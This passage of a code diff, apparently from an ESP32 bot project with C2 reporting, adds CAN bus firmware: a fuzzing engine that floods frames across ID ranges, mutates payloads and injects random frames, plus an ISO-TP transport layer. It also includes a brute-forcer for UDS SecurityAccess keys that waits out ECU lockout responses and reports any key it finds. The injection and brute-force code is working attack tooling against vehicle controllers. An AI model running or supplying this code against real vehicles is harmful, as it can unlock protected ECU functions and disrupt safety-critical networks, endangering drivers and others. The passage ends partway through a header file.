||||
/* ID Scan: send fixed payload on every ID in range */
|
||||
static void fuzz_id_scan(void)
|
||||
{
|
||||
uint8_t data[8];
|
||||
memcpy(data, s_fuzz_cfg.seed_data, 8);
|
||||
uint8_t dlc = s_fuzz_cfg.seed_dlc > 0 ? s_fuzz_cfg.seed_dlc : 8;
|
||||
|
||||
for (uint32_t id = s_fuzz_cfg.id_start;
|
||||
id <= s_fuzz_cfg.id_end && s_fuzz_running;
|
||||
id++) {
|
||||
|
||||
can_frame_t frame = {
|
||||
.id = id,
|
||||
.dlc = dlc,
|
||||
.extended = (id > 0x7FF),
|
||||
.rtr = false,
|
||||
};
|
||||
memcpy(frame.data, data, 8);
|
||||
|
||||
can_driver_send(&frame);
|
||||
s_fuzz_count++;
|
||||
|
||||
if (s_fuzz_cfg.delay_ms > 0) {
|
||||
vTaskDelay(pdMS_TO_TICKS(s_fuzz_cfg.delay_ms));
|
||||
}
|
||||
|
||||
if (s_fuzz_cfg.max_iterations > 0 && s_fuzz_count >= (uint32_t)s_fuzz_cfg.max_iterations) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* Data Mutate: for a fixed ID, try all values for each byte */
|
||||
static void fuzz_data_mutate(void)
|
||||
{
|
||||
can_frame_t frame = {
|
||||
.id = s_fuzz_cfg.target_id,
|
||||
.dlc = s_fuzz_cfg.seed_dlc > 0 ? s_fuzz_cfg.seed_dlc : 8,
|
||||
.extended = (s_fuzz_cfg.target_id > 0x7FF),
|
||||
.rtr = false,
|
||||
};
|
||||
memcpy(frame.data, s_fuzz_cfg.seed_data, 8);
|
||||
|
||||
/* For each byte position, try all 256 values */
|
||||
for (int pos = 0; pos < frame.dlc && s_fuzz_running; pos++) {
|
||||
uint8_t original = frame.data[pos];
|
||||
|
||||
for (int val = 0; val < 256 && s_fuzz_running; val++) {
|
||||
frame.data[pos] = (uint8_t)val;
|
||||
can_driver_send(&frame);
|
||||
s_fuzz_count++;
|
||||
|
||||
if (s_fuzz_cfg.delay_ms > 0) {
|
||||
vTaskDelay(pdMS_TO_TICKS(s_fuzz_cfg.delay_ms));
|
||||
}
|
||||
|
||||
if (s_fuzz_cfg.max_iterations > 0 &&
|
||||
s_fuzz_count >= (uint32_t)s_fuzz_cfg.max_iterations) {
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
frame.data[pos] = original; /* Restore for next position */
|
||||
}
|
||||
}
|
||||
|
||||
/* Random: random ID + random data */
|
||||
static void fuzz_random(void)
|
||||
{
|
||||
int max_iter = s_fuzz_cfg.max_iterations > 0
|
||||
? s_fuzz_cfg.max_iterations
|
||||
: 10000;
|
||||
|
||||
for (int i = 0; i < max_iter && s_fuzz_running; i++) {
|
||||
uint32_t rand_val = esp_random();
|
||||
|
||||
can_frame_t frame = {
|
||||
.id = rand_val & 0x7FF, /* Standard ID range */
|
||||
.dlc = (uint8_t)((esp_random() % 8) + 1),
|
||||
.extended = false,
|
||||
.rtr = false,
|
||||
};
|
||||
|
||||
/* Fill with random data */
|
||||
uint32_t r1 = esp_random();
|
||||
uint32_t r2 = esp_random();
|
||||
memcpy(&frame.data[0], &r1, 4);
|
||||
memcpy(&frame.data[4], &r2, 4);
|
||||
|
||||
can_driver_send(&frame);
|
||||
s_fuzz_count++;
|
||||
|
||||
if (s_fuzz_cfg.delay_ms > 0) {
|
||||
vTaskDelay(pdMS_TO_TICKS(s_fuzz_cfg.delay_ms));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* UDS Auth: brute-force SecurityAccess key */
|
||||
static void fuzz_uds_auth(void)
|
||||
{
|
||||
#ifdef CONFIG_CANBUS_ISO_TP
|
||||
uint32_t tx_id = s_fuzz_cfg.target_id;
|
||||
uint32_t rx_id = tx_id + 0x08;
|
||||
int max_iter = s_fuzz_cfg.max_iterations > 0
|
||||
? s_fuzz_cfg.max_iterations
|
||||
: 65536;
|
||||
|
||||
ESP_LOGI(TAG, "UDS auth brute-force on TX=0x%03lX", (unsigned long)tx_id);
|
||||
|
||||
for (int attempt = 0; attempt < max_iter && s_fuzz_running; attempt++) {
|
||||
/* Step 1: Request seed (SecurityAccess level 0x01) */
|
||||
uint8_t seed_req[2] = { 0x27, 0x01 };
|
||||
uint8_t resp[32];
|
||||
size_t resp_len = 0;
|
||||
|
||||
isotp_status_t st = isotp_request(
|
||||
tx_id, rx_id, seed_req, 2,
|
||||
resp, sizeof(resp), &resp_len, 1000
|
||||
);
|
||||
|
||||
if (st != ISOTP_OK || resp_len < 2) {
|
||||
vTaskDelay(pdMS_TO_TICKS(100));
|
||||
continue;
|
||||
}
|
||||
|
||||
/* Check for exceededAttempts NRC (0x36) — back off */
|
||||
if (resp[0] == 0x7F && resp_len >= 3 && resp[2] == 0x36) {
|
||||
ESP_LOGW(TAG, "ExceededAttempts — waiting 10s");
|
||||
vTaskDelay(pdMS_TO_TICKS(10000));
|
||||
continue;
|
||||
}
|
||||
|
||||
/* Check for timeDelayNotExpired NRC (0x37) — back off */
|
||||
if (resp[0] == 0x7F && resp_len >= 3 && resp[2] == 0x37) {
|
||||
ESP_LOGW(TAG, "TimeDelayNotExpired — waiting 10s");
|
||||
vTaskDelay(pdMS_TO_TICKS(10000));
|
||||
continue;
|
||||
}
|
||||
|
||||
/* Positive seed response: 0x67, 0x01, seed bytes */
|
||||
if (resp[0] != 0x67 || resp[1] != 0x01) continue;
|
||||
|
||||
int seed_len = (int)resp_len - 2;
|
||||
if (seed_len <= 0 || seed_len > 8) continue;
|
||||
|
||||
/* Step 2: Try key (incremental or random based on iteration) */
|
||||
uint8_t key_req[10] = { 0x27, 0x02 };
|
||||
int key_len;
|
||||
|
||||
if (seed_len <= 2) {
|
||||
/* Short seed: try sequential */
|
||||
key_len = seed_len;
|
||||
key_req[2] = (uint8_t)(attempt >> 8);
|
||||
if (key_len > 1) key_req[3] = (uint8_t)(attempt & 0xFF);
|
||||
else key_req[2] = (uint8_t)(attempt & 0xFF);
|
||||
} else {
|
||||
/* Long seed: try random keys */
|
||||
key_len = seed_len;
|
||||
uint32_t r1 = esp_random();
|
||||
uint32_t r2 = esp_random();
|
||||
memcpy(&key_req[2], &r1, 4);
|
||||
if (key_len > 4) memcpy(&key_req[6], &r2, key_len - 4);
|
||||
}
|
||||
|
||||
resp_len = 0;
|
||||
st = isotp_request(
|
||||
tx_id, rx_id, key_req, 2 + key_len,
|
||||
resp, sizeof(resp), &resp_len, 1000
|
||||
);
|
||||
|
||||
s_fuzz_count++;
|
||||
|
||||
if (st == ISOTP_OK && resp_len >= 2 && resp[0] == 0x67) {
|
||||
/* SUCCESS! */
|
||||
char line[64];
|
||||
snprintf(line, sizeof(line), "FUZZ_UDS_KEY_FOUND|0x%03lX|",
|
||||
(unsigned long)tx_id);
|
||||
size_t off = strlen(line);
|
||||
for (int k = 0; k < key_len && off < sizeof(line) - 2; k++) {
|
||||
off += snprintf(line + off, sizeof(line) - off, "%02X", key_req[2 + k]);
|
||||
}
|
||||
msg_data(TAG, line, strlen(line), false, s_fuzz_req_id);
|
||||
ESP_LOGI(TAG, "Security key found!");
|
||||
s_fuzz_running = false;
|
||||
break;
|
||||
}
|
||||
|
||||
if (s_fuzz_cfg.delay_ms > 0) {
|
||||
vTaskDelay(pdMS_TO_TICKS(s_fuzz_cfg.delay_ms));
|
||||
}
|
||||
|
||||
/* Progress report every 100 attempts */
|
||||
if ((attempt % 100) == 99) {
|
||||
char progress[48];
|
||||
snprintf(progress, sizeof(progress), "FUZZ_UDS_PROGRESS|%d", attempt + 1);
|
||||
msg_data(TAG, progress, strlen(progress), false, s_fuzz_req_id);
|
||||
}
|
||||
}
|
||||
#else
|
||||
ESP_LOGE(TAG, "UDS auth fuzz requires CONFIG_CANBUS_ISO_TP");
|
||||
s_fuzz_running = false;
|
||||
#endif
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Fuzz Task
|
||||
* ============================================================ */
|
||||
|
||||
static void fuzz_task(void *arg)
|
||||
{
|
||||
(void)arg;
|
||||
|
||||
ESP_LOGI(TAG, "Fuzzing started: mode=%d", s_fuzz_cfg.mode);
|
||||
s_fuzz_count = 0;
|
||||
s_fuzz_responses = 0;
|
||||
|
||||
switch (s_fuzz_cfg.mode) {
|
||||
case FUZZ_MODE_ID_SCAN: fuzz_id_scan(); break;
|
||||
case FUZZ_MODE_DATA_MUTATE: fuzz_data_mutate(); break;
|
||||
case FUZZ_MODE_RANDOM: fuzz_random(); break;
|
||||
case FUZZ_MODE_UDS_AUTH: fuzz_uds_auth(); break;
|
||||
}
|
||||
|
||||
/* Report completion */
|
||||
char done[80];
|
||||
snprintf(done, sizeof(done), "FUZZ_DONE|sent=%"PRIu32"|responses=%"PRIu32,
|
||||
s_fuzz_count, s_fuzz_responses);
|
||||
msg_data(TAG, done, strlen(done), true, s_fuzz_req_id);
|
||||
|
||||
s_fuzz_running = false;
|
||||
s_fuzz_task = NULL;
|
||||
vTaskDelete(NULL);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Public API
|
||||
* ============================================================ */
|
||||
|
||||
bool can_fuzz_start(const fuzz_config_t *cfg, const char *request_id)
|
||||
{
|
||||
if (!s_fuzz_mutex) s_fuzz_mutex = xSemaphoreCreateMutex();
|
||||
xSemaphoreTake(s_fuzz_mutex, portMAX_DELAY);
|
||||
|
||||
if (s_fuzz_running) {
|
||||
ESP_LOGW(TAG, "Fuzzing already in progress");
|
||||
xSemaphoreGive(s_fuzz_mutex);
|
||||
return false;
|
||||
}
|
||||
if (!can_driver_is_running()) {
|
||||
ESP_LOGE(TAG, "CAN driver not running");
|
||||
xSemaphoreGive(s_fuzz_mutex);
|
||||
return false;
|
||||
}
|
||||
|
||||
s_fuzz_cfg = *cfg;
|
||||
s_fuzz_req_id = request_id;
|
||||
s_fuzz_running = true;
|
||||
|
||||
BaseType_t ret = xTaskCreatePinnedToCore(
|
||||
fuzz_task, "can_fuzz", 4096, NULL, 3, &s_fuzz_task, 1
|
||||
);
|
||||
|
||||
if (ret != pdPASS) {
|
||||
s_fuzz_running = false;
|
||||
xSemaphoreGive(s_fuzz_mutex);
|
||||
return false;
|
||||
}
|
||||
|
||||
xSemaphoreGive(s_fuzz_mutex);
|
||||
return true;
|
||||
}
|
||||
|
||||
void can_fuzz_stop(void)
|
||||
{
|
||||
if (!s_fuzz_mutex) s_fuzz_mutex = xSemaphoreCreateMutex();
|
||||
xSemaphoreTake(s_fuzz_mutex, portMAX_DELAY);
|
||||
s_fuzz_running = false;
|
||||
xSemaphoreGive(s_fuzz_mutex);
|
||||
|
||||
for (int i = 0; i < 20 && s_fuzz_task != NULL; i++) {
|
||||
vTaskDelay(pdMS_TO_TICKS(50));
|
||||
}
|
||||
}
|
||||
|
||||
bool can_fuzz_is_running(void)
|
||||
{
|
||||
return s_fuzz_running;
|
||||
}
|
||||
|
||||
#endif /* CONFIG_MODULE_CANBUS && CONFIG_CANBUS_FUZZ */
|
||||
42
espilon_bot/components/mod_canbus/canbus_fuzz.h
Normal file
42
espilon_bot/components/mod_canbus/canbus_fuzz.h
Normal file
@ -0,0 +1,42 @@
|
||||
/*
|
||||
* canbus_fuzz.h
|
||||
* CAN bus fuzzing engine — ID scan, data mutation, random injection, UDS auth brute-force.
|
||||
*/
|
||||
#pragma once
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stdbool.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
typedef enum {
|
||||
FUZZ_MODE_ID_SCAN, /* Iterate all CAN IDs, fixed payload */
|
||||
FUZZ_MODE_DATA_MUTATE, /* Fixed ID, mutate data bytes systematically */
|
||||
FUZZ_MODE_RANDOM, /* Random ID + random data */
|
||||
FUZZ_MODE_UDS_AUTH, /* Brute-force UDS SecurityAccess keys */
|
||||
} fuzz_mode_t;
|
||||
|
||||
typedef struct {
|
||||
fuzz_mode_t mode;
|
||||
uint32_t id_start, id_end; /* For ID_SCAN range */
|
||||
uint32_t target_id; /* For DATA_MUTATE / UDS_AUTH */
|
||||
int delay_ms; /* Inter-frame delay */
|
||||
int max_iterations; /* 0 = unlimited */
|
||||
uint8_t seed_data[8]; /* Initial data for mutation */
|
||||
uint8_t seed_dlc; /* DLC for seed data */
|
||||
} fuzz_config_t;
|
||||
|
||||
/* Start fuzzing in background task. request_id for C2 streaming. */
|
||||
bool can_fuzz_start(const fuzz_config_t *cfg, const char *request_id);
|
||||
|
||||
/* Stop fuzzing */
|
||||
void can_fuzz_stop(void);
|
||||
|
||||
/* Check if fuzzing is active */
|
||||
bool can_fuzz_is_running(void);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
416
espilon_bot/components/mod_canbus/canbus_isotp.c
Normal file
416
espilon_bot/components/mod_canbus/canbus_isotp.c
Normal file
@ -0,0 +1,416 @@
|
||||
/*
|
||||
* canbus_isotp.c
|
||||
* ISO-TP (ISO 15765-2) transport layer implementation.
|
||||
*
|
||||
* Frame types:
|
||||
* Single Frame (SF): [0x0N | data...] N = length (1-7)
|
||||
* First Frame (FF): [0x1H 0xLL | 6 bytes] H:L = total length (up to 4095)
|
||||
* Consecutive Frame (CF): [0x2N | 7 bytes] N = sequence (0-F, wrapping)
|
||||
* Flow Control (FC): [0x30 BS ST] BS=block size, ST=separation time
|
||||
*/
|
||||
#include "sdkconfig.h"
|
||||
|
||||
#if defined(CONFIG_MODULE_CANBUS) && defined(CONFIG_CANBUS_ISO_TP)
|
||||
|
||||
#include <string.h>
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/semphr.h"
|
||||
#include "esp_timer.h"
|
||||
#include "esp_log.h"
|
||||
|
||||
#include "canbus_isotp.h"
|
||||
#include "canbus_driver.h"
|
||||
|
||||
#define TAG "CAN_ISOTP"
|
||||
|
||||
/* Max ISO-TP payload (12-bit length field) */
|
||||
#define ISOTP_MAX_LEN 4095
|
||||
|
||||
/* Reassembly buffer (static — single concurrent transfer) */
|
||||
static uint8_t s_reassembly[ISOTP_MAX_LEN];
|
||||
|
||||
/* Synchronization: RX callback puts frame here, isotp functions wait on semaphore */
|
||||
static SemaphoreHandle_t s_rx_sem = NULL;
|
||||
static can_frame_t s_rx_frame;
|
||||
static volatile uint32_t s_listen_id = 0;
|
||||
static volatile bool s_listening = false;
|
||||
|
||||
/* Previous RX callback to chain */
|
||||
static can_rx_callback_t s_prev_cb = NULL;
|
||||
static void *s_prev_ctx = NULL;
|
||||
|
||||
/* ============================================================
|
||||
* Internal RX callback for ISO-TP framing
|
||||
* ============================================================ */
|
||||
|
||||
static void isotp_rx_callback(const can_frame_t *frame, void *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
|
||||
/* If we're listening for a specific ID, capture it */
|
||||
if (s_listening && frame->id == s_listen_id) {
|
||||
s_rx_frame = *frame;
|
||||
if (s_rx_sem) xSemaphoreGive(s_rx_sem);
|
||||
}
|
||||
|
||||
/* Chain to previous callback (sniff/record) */
|
||||
if (s_prev_cb) s_prev_cb(frame, s_prev_ctx);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Helpers
|
||||
* ============================================================ */
|
||||
|
||||
static void isotp_init_once(void)
|
||||
{
|
||||
if (!s_rx_sem) {
|
||||
s_rx_sem = xSemaphoreCreateBinary();
|
||||
}
|
||||
}
|
||||
|
||||
/* Hook our callback, saving the previous one */
|
||||
static void isotp_hook_rx(uint32_t listen_id)
|
||||
{
|
||||
isotp_init_once();
|
||||
|
||||
s_listen_id = listen_id;
|
||||
s_listening = true;
|
||||
|
||||
/* Clear any pending semaphore */
|
||||
xSemaphoreTake(s_rx_sem, 0);
|
||||
}
|
||||
|
||||
static void isotp_unhook_rx(void)
|
||||
{
|
||||
s_listening = false;
|
||||
s_listen_id = 0;
|
||||
}
|
||||
|
||||
/* Wait for a frame with the target ID, timeout in ms */
|
||||
static bool wait_frame(can_frame_t *out, int timeout_ms)
|
||||
{
|
||||
if (xSemaphoreTake(s_rx_sem, pdMS_TO_TICKS(timeout_ms)) == pdTRUE) {
|
||||
*out = s_rx_frame;
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Send a single CAN frame (helper) */
|
||||
static bool send_frame(uint32_t id, const uint8_t *data, uint8_t dlc)
|
||||
{
|
||||
can_frame_t f = {
|
||||
.id = id,
|
||||
.dlc = dlc,
|
||||
.extended = (id > 0x7FF),
|
||||
.rtr = false,
|
||||
.timestamp_us = 0,
|
||||
};
|
||||
memcpy(f.data, data, dlc);
|
||||
return can_driver_send(&f);
|
||||
}
|
||||
|
||||
/* Send Flow Control frame: CTS (continue to send) */
|
||||
static bool send_fc(uint32_t tx_id, uint8_t block_size, uint8_t st_min)
|
||||
{
|
||||
uint8_t fc[8] = { 0x30, block_size, st_min, 0, 0, 0, 0, 0 };
|
||||
return send_frame(tx_id, fc, 8);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* isotp_send — Send ISO-TP message
|
||||
* ============================================================ */
|
||||
|
||||
isotp_status_t isotp_send(uint32_t tx_id, uint32_t rx_id,
|
||||
const uint8_t *data, size_t len,
|
||||
int timeout_ms)
|
||||
{
|
||||
if (!data || len == 0 || len > ISOTP_MAX_LEN) return ISOTP_ERROR;
|
||||
|
||||
isotp_init_once();
|
||||
|
||||
/* Single Frame: len <= 7 */
|
||||
if (len <= 7) {
|
||||
uint8_t sf[8] = { 0 };
|
||||
sf[0] = (uint8_t)(len & 0x0F); /* PCI: 0x0N */
|
||||
memcpy(&sf[1], data, len);
|
||||
if (!send_frame(tx_id, sf, 8)) return ISOTP_ERROR;
|
||||
return ISOTP_OK;
|
||||
}
|
||||
|
||||
/* Multi-frame: First Frame + wait FC + Consecutive Frames */
|
||||
|
||||
/* Send First Frame */
|
||||
uint8_t ff[8] = { 0 };
|
||||
ff[0] = 0x10 | (uint8_t)((len >> 8) & 0x0F);
|
||||
ff[1] = (uint8_t)(len & 0xFF);
|
||||
memcpy(&ff[2], data, 6);
|
||||
if (!send_frame(tx_id, ff, 8)) return ISOTP_ERROR;
|
||||
|
||||
/* Wait for Flow Control */
|
||||
isotp_hook_rx(rx_id);
|
||||
|
||||
can_frame_t fc;
|
||||
if (!wait_frame(&fc, timeout_ms)) {
|
||||
isotp_unhook_rx();
|
||||
ESP_LOGW(TAG, "FC timeout from 0x%03lX", (unsigned long)rx_id);
|
||||
return ISOTP_TIMEOUT;
|
||||
}
|
||||
|
||||
isotp_unhook_rx();
|
||||
|
||||
/* Parse FC */
|
||||
if ((fc.data[0] & 0xF0) != 0x30) {
|
||||
ESP_LOGW(TAG, "Expected FC, got PCI 0x%02X", fc.data[0]);
|
||||
return ISOTP_ERROR;
|
||||
}
|
||||
|
||||
uint8_t block_size = fc.data[1]; /* 0 = no limit */
|
||||
uint8_t st_min = fc.data[2]; /* Separation time in ms */
|
||||
|
||||
/* Send Consecutive Frames */
|
||||
size_t offset = 6; /* First 6 bytes already sent in FF */
|
||||
uint8_t seq = 1;
|
||||
uint8_t blocks_sent = 0;
|
||||
|
||||
while (offset < len) {
|
||||
uint8_t cf[8] = { 0 };
|
||||
cf[0] = 0x20 | (seq & 0x0F);
|
||||
|
||||
size_t chunk = len - offset;
|
||||
if (chunk > 7) chunk = 7;
|
||||
memcpy(&cf[1], &data[offset], chunk);
|
||||
|
||||
if (!send_frame(tx_id, cf, 8)) return ISOTP_ERROR;
|
||||
|
||||
offset += chunk;
|
||||
seq = (seq + 1) & 0x0F;
|
||||
blocks_sent++;
|
||||
|
||||
/* Respect separation time */
|
||||
if (st_min > 0 && st_min <= 127) {
|
||||
vTaskDelay(pdMS_TO_TICKS(st_min));
|
||||
}
|
||||
|
||||
/* Block size flow control */
|
||||
if (block_size > 0 && blocks_sent >= block_size && offset < len) {
|
||||
blocks_sent = 0;
|
||||
isotp_hook_rx(rx_id);
|
||||
if (!wait_frame(&fc, timeout_ms)) {
|
||||
isotp_unhook_rx();
|
||||
return ISOTP_TIMEOUT;
|
||||
}
|
||||
isotp_unhook_rx();
|
||||
if ((fc.data[0] & 0xF0) != 0x30) return ISOTP_ERROR;
|
||||
block_size = fc.data[1];
|
||||
st_min = fc.data[2];
|
||||
}
|
||||
}
|
||||
|
||||
return ISOTP_OK;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* isotp_recv — Receive ISO-TP message
|
||||
* ============================================================ */
|
||||
|
||||
isotp_status_t isotp_recv(uint32_t rx_id,
|
||||
uint8_t *buf, size_t buf_cap, size_t *out_len,
|
||||
int timeout_ms)
|
||||
{
|
||||
if (!buf || buf_cap == 0 || !out_len) return ISOTP_ERROR;
|
||||
*out_len = 0;
|
||||
|
||||
isotp_hook_rx(rx_id);
|
||||
|
||||
can_frame_t frame;
|
||||
if (!wait_frame(&frame, timeout_ms)) {
|
||||
isotp_unhook_rx();
|
||||
return ISOTP_TIMEOUT;
|
||||
}
|
||||
|
||||
uint8_t pci_type = frame.data[0] & 0xF0;
|
||||
|
||||
/* Single Frame */
|
||||
if (pci_type == 0x00) {
|
||||
isotp_unhook_rx();
|
||||
size_t sf_len = frame.data[0] & 0x0F;
|
||||
if (sf_len == 0 || sf_len > 7 || sf_len > buf_cap) return ISOTP_ERROR;
|
||||
memcpy(buf, &frame.data[1], sf_len);
|
||||
*out_len = sf_len;
|
||||
return ISOTP_OK;
|
||||
}
|
||||
|
||||
/* First Frame */
|
||||
if (pci_type != 0x10) {
|
||||
isotp_unhook_rx();
|
||||
ESP_LOGW(TAG, "Expected SF/FF, got PCI 0x%02X", frame.data[0]);
|
||||
return ISOTP_ERROR;
|
||||
}
|
||||
|
||||
size_t total_len = ((size_t)(frame.data[0] & 0x0F) << 8) | frame.data[1];
|
||||
if (total_len > buf_cap || total_len > ISOTP_MAX_LEN) {
|
||||
isotp_unhook_rx();
|
||||
return ISOTP_OVERFLOW;
|
||||
}
|
||||
|
||||
/* Copy first 6 data bytes from FF */
|
||||
size_t received = (total_len < 6) ? total_len : 6;
|
||||
memcpy(buf, &frame.data[2], received);
|
||||
|
||||
/* We need to figure out the TX ID to send FC back.
|
||||
* Convention: if rx_id is in 0x7E8-0x7EF range, tx_id = rx_id - 8.
|
||||
* For functional requests, FC goes to rx_id - 8.
|
||||
* Caller should use isotp_request() for proper bidirectional comms. */
|
||||
uint32_t fc_tx_id = (rx_id >= 0x7E8 && rx_id <= 0x7EF)
|
||||
? (rx_id - 8)
|
||||
: (rx_id - 1);
|
||||
|
||||
/* Send Flow Control: continue, no block limit, 0ms separation */
|
||||
send_fc(fc_tx_id, 0, 0);
|
||||
|
||||
/* Receive Consecutive Frames */
|
||||
uint8_t expected_seq = 1;
|
||||
while (received < total_len) {
|
||||
if (!wait_frame(&frame, timeout_ms)) {
|
||||
isotp_unhook_rx();
|
||||
return ISOTP_TIMEOUT;
|
||||
}
|
||||
|
||||
if ((frame.data[0] & 0xF0) != 0x20) {
|
||||
isotp_unhook_rx();
|
||||
ESP_LOGW(TAG, "Expected CF, got PCI 0x%02X", frame.data[0]);
|
||||
return ISOTP_ERROR;
|
||||
}
|
||||
|
||||
uint8_t seq = frame.data[0] & 0x0F;
|
||||
if (seq != (expected_seq & 0x0F)) {
|
||||
ESP_LOGW(TAG, "CF seq mismatch: expected %u, got %u",
|
||||
expected_seq & 0x0F, seq);
|
||||
}
|
||||
expected_seq++;
|
||||
|
||||
size_t chunk = total_len - received;
|
||||
if (chunk > 7) chunk = 7;
|
||||
memcpy(&buf[received], &frame.data[1], chunk);
|
||||
received += chunk;
|
||||
}
|
||||
|
||||
isotp_unhook_rx();
|
||||
*out_len = total_len;
|
||||
return ISOTP_OK;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* isotp_request — Send + Receive (UDS request-response pattern)
|
||||
* ============================================================ */
|
||||
|
||||
isotp_status_t isotp_request(uint32_t tx_id, uint32_t rx_id,
|
||||
const uint8_t *req, size_t req_len,
|
||||
uint8_t *resp, size_t resp_cap, size_t *resp_len,
|
||||
int timeout_ms)
|
||||
{
|
||||
if (!resp || !resp_len) return ISOTP_ERROR;
|
||||
*resp_len = 0;
|
||||
|
||||
isotp_init_once();
|
||||
|
||||
/* For request-response, we need to listen before sending
|
||||
* (the response may come very quickly after the request) */
|
||||
isotp_hook_rx(rx_id);
|
||||
|
||||
/* Send request */
|
||||
isotp_status_t st;
|
||||
|
||||
if (req_len <= 7) {
|
||||
/* Single frame — send directly and wait for response */
|
||||
uint8_t sf[8] = { 0 };
|
||||
sf[0] = (uint8_t)(req_len & 0x0F);
|
||||
memcpy(&sf[1], req, req_len);
|
||||
if (!send_frame(tx_id, sf, 8)) {
|
||||
isotp_unhook_rx();
|
||||
return ISOTP_ERROR;
|
||||
}
|
||||
} else {
|
||||
/* Multi-frame send — unhook first since isotp_send hooks itself */
|
||||
isotp_unhook_rx();
|
||||
st = isotp_send(tx_id, rx_id, req, req_len, timeout_ms);
|
||||
if (st != ISOTP_OK) return st;
|
||||
isotp_hook_rx(rx_id);
|
||||
}
|
||||
|
||||
/* Wait for response (may be SF or FF+CF) */
|
||||
can_frame_t frame;
|
||||
if (!wait_frame(&frame, timeout_ms)) {
|
||||
isotp_unhook_rx();
|
||||
return ISOTP_TIMEOUT;
|
||||
}
|
||||
|
||||
uint8_t pci_type = frame.data[0] & 0xF0;
|
||||
|
||||
/* Single Frame response */
|
||||
if (pci_type == 0x00) {
|
||||
isotp_unhook_rx();
|
||||
size_t sf_len = frame.data[0] & 0x0F;
|
||||
if (sf_len == 0 || sf_len > 7 || sf_len > resp_cap) return ISOTP_ERROR;
|
||||
memcpy(resp, &frame.data[1], sf_len);
|
||||
*resp_len = sf_len;
|
||||
return ISOTP_OK;
|
||||
}
|
||||
|
||||
/* First Frame response */
|
||||
if (pci_type == 0x10) {
|
||||
size_t total_len = ((size_t)(frame.data[0] & 0x0F) << 8) | frame.data[1];
|
||||
if (total_len > resp_cap || total_len > ISOTP_MAX_LEN) {
|
||||
isotp_unhook_rx();
|
||||
return ISOTP_OVERFLOW;
|
||||
}
|
||||
|
||||
size_t received = (total_len < 6) ? total_len : 6;
|
||||
memcpy(resp, &frame.data[2], received);
|
||||
|
||||
/* Send FC */
|
||||
send_fc(tx_id, 0, 0);
|
||||
|
||||
/* Receive CFs */
|
||||
uint8_t expected_seq = 1;
|
||||
while (received < total_len) {
|
||||
if (!wait_frame(&frame, timeout_ms)) {
|
||||
isotp_unhook_rx();
|
||||
return ISOTP_TIMEOUT;
|
||||
}
|
||||
if ((frame.data[0] & 0xF0) != 0x20) {
|
||||
isotp_unhook_rx();
|
||||
return ISOTP_ERROR;
|
||||
}
|
||||
expected_seq++;
|
||||
|
||||
size_t chunk = total_len - received;
|
||||
if (chunk > 7) chunk = 7;
|
||||
memcpy(&resp[received], &frame.data[1], chunk);
|
||||
received += chunk;
|
||||
}
|
||||
|
||||
isotp_unhook_rx();
|
||||
*resp_len = total_len;
|
||||
return ISOTP_OK;
|
||||
}
|
||||
|
||||
isotp_unhook_rx();
|
||||
ESP_LOGW(TAG, "Unexpected PCI type 0x%02X in response", frame.data[0]);
|
||||
return ISOTP_ERROR;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Install ISO-TP RX hook into the CAN driver
|
||||
* ============================================================ */
|
||||
|
||||
void isotp_install_hook(void)
|
||||
{
|
||||
isotp_init_once();
|
||||
/* Save the current callback so we can chain to it */
|
||||
can_driver_get_rx_callback(&s_prev_cb, &s_prev_ctx);
|
||||
can_driver_set_rx_callback(isotp_rx_callback, NULL);
|
||||
}
|
||||
|
||||
#endif /* CONFIG_MODULE_CANBUS && CONFIG_CANBUS_ISO_TP */
|
||||
70
espilon_bot/components/mod_canbus/canbus_isotp.h
Normal file
70
espilon_bot/components/mod_canbus/canbus_isotp.h
Normal file
@ -0,0 +1,70 @@
|
||||
/*
|
||||
* canbus_isotp.h
|
||||
* ISO-TP (ISO 15765-2) transport layer for CAN bus.
|
||||
* Handles multi-frame messaging (> 8 bytes) required by UDS and OBD-II.
|
||||
*/
|
||||
#pragma once
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stddef.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
typedef enum {
|
||||
ISOTP_OK = 0,
|
||||
ISOTP_TIMEOUT,
|
||||
ISOTP_OVERFLOW,
|
||||
ISOTP_ERROR,
|
||||
} isotp_status_t;
|
||||
|
||||
/*
|
||||
* Send an ISO-TP message (blocking).
|
||||
* Handles Single Frame for len <= 7, or First Frame + Consecutive Frames.
|
||||
* Waits for Flow Control frame from receiver if multi-frame.
|
||||
*
|
||||
* tx_id: CAN arbitration ID for outgoing frames
|
||||
* rx_id: CAN arbitration ID for incoming Flow Control
|
||||
* data/len: payload to send
|
||||
* timeout_ms: max wait for Flow Control response
|
||||
*/
|
||||
isotp_status_t isotp_send(uint32_t tx_id, uint32_t rx_id,
|
||||
const uint8_t *data, size_t len,
|
||||
int timeout_ms);
|
||||
|
||||
/*
|
||||
* Receive an ISO-TP message (blocking).
|
||||
* Reassembles Single Frame or First Frame + Consecutive Frames.
|
||||
* Sends Flow Control frame to sender if multi-frame.
|
||||
*
|
||||
* rx_id: CAN arbitration ID to listen for
|
||||
* buf/buf_cap: output buffer
|
||||
* out_len: actual received length
|
||||
* timeout_ms: max wait time
|
||||
*/
|
||||
isotp_status_t isotp_recv(uint32_t rx_id,
|
||||
uint8_t *buf, size_t buf_cap, size_t *out_len,
|
||||
int timeout_ms);
|
||||
|
||||
/*
|
||||
* Request-Response: send then receive (most common UDS pattern).
|
||||
* Combines isotp_send() + isotp_recv() with proper FC handling.
|
||||
*
|
||||
